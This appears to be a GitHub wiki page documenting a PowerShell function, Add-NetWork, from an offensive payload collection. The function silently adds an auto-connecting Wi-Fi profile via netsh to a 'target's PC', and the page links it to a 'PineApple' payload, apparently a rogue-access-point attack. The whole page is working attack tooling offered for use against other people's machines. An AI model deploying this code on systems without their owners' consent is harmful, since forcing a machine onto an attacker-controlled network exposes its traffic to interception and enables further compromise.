Skip to content

Add NetWork

I-Am-Jakoby edited this page May 18, 2022 · 1 revision

Logo

Table of Contents
  1. Description
  2. The Function
  3. Examples
  4. Contact
  5. Acknowledgments

Add-NetWork

Description

This function will add a network profile to your targets PC

The Function

[Add-NetWork]

This function will accept 3 parameters, 2 of which are mandatory

You always have to provide the $SSID to give your network a name

The $Security parameter is also mandatory only takes the value of "t"(true) or "f"(false)

This will tell the function whether or not you need a wifi password for your network

If a wifi password is deemed necessary you provide it using the $PW variable

Set-up a new network profile on your targets PC using the following syntax:

For a network profile using a Password use:

Add-NetWork -SSID wifi-name -security t -PW wifi-password

For a network profile NOT using a Password use:

Add-NetWork -SSID wifi-name -security f

function Add-NetWork {

[CmdletBinding()]
param (	
[Parameter (Mandatory = $True)]
[string]$SSID,

[Parameter (Mandatory = $True)]
[string]$Security,

[Parameter (Mandatory = $False)]
[string]$PW

)

# -------------------------------------------------------------------------------------------------

$sec = switch ( $Security )
{
    "t"  { 
"
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>$PW</keyMaterial>
            </sharedKey>
        </security>
"
}
    "f" { 

"
        <security>
            <authEncryption>
                <authentication>open</authentication>
                <encryption>none</encryption>
                <useOneX>false</useOneX>
            </authEncryption>
        </security>
" 

}
}

# -------------------------------------------------------------------------------------------------

$profilefile="ACprofile.xml"
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
$xmlfile="<?xml version=""1.0""?>
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
    <name>$SSID</name>
    <SSIDConfig>
        <SSID>
            <hex>$SSIDHEX</hex>
            <name>$SSID</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
$sec
    </MSM>
</WLANProfile>
"

$XMLFILE > ($profilefile)
netsh wlan add profile filename="$($profilefile)"
}

(back to top)

Examples

Listed below are payloads that have used one of these functions:

PineApple

(back to top)

Contact

I am Jakoby


(back to top)

Acknowledgments

HOME-PAGE

(back to top)

Clone this wiki locally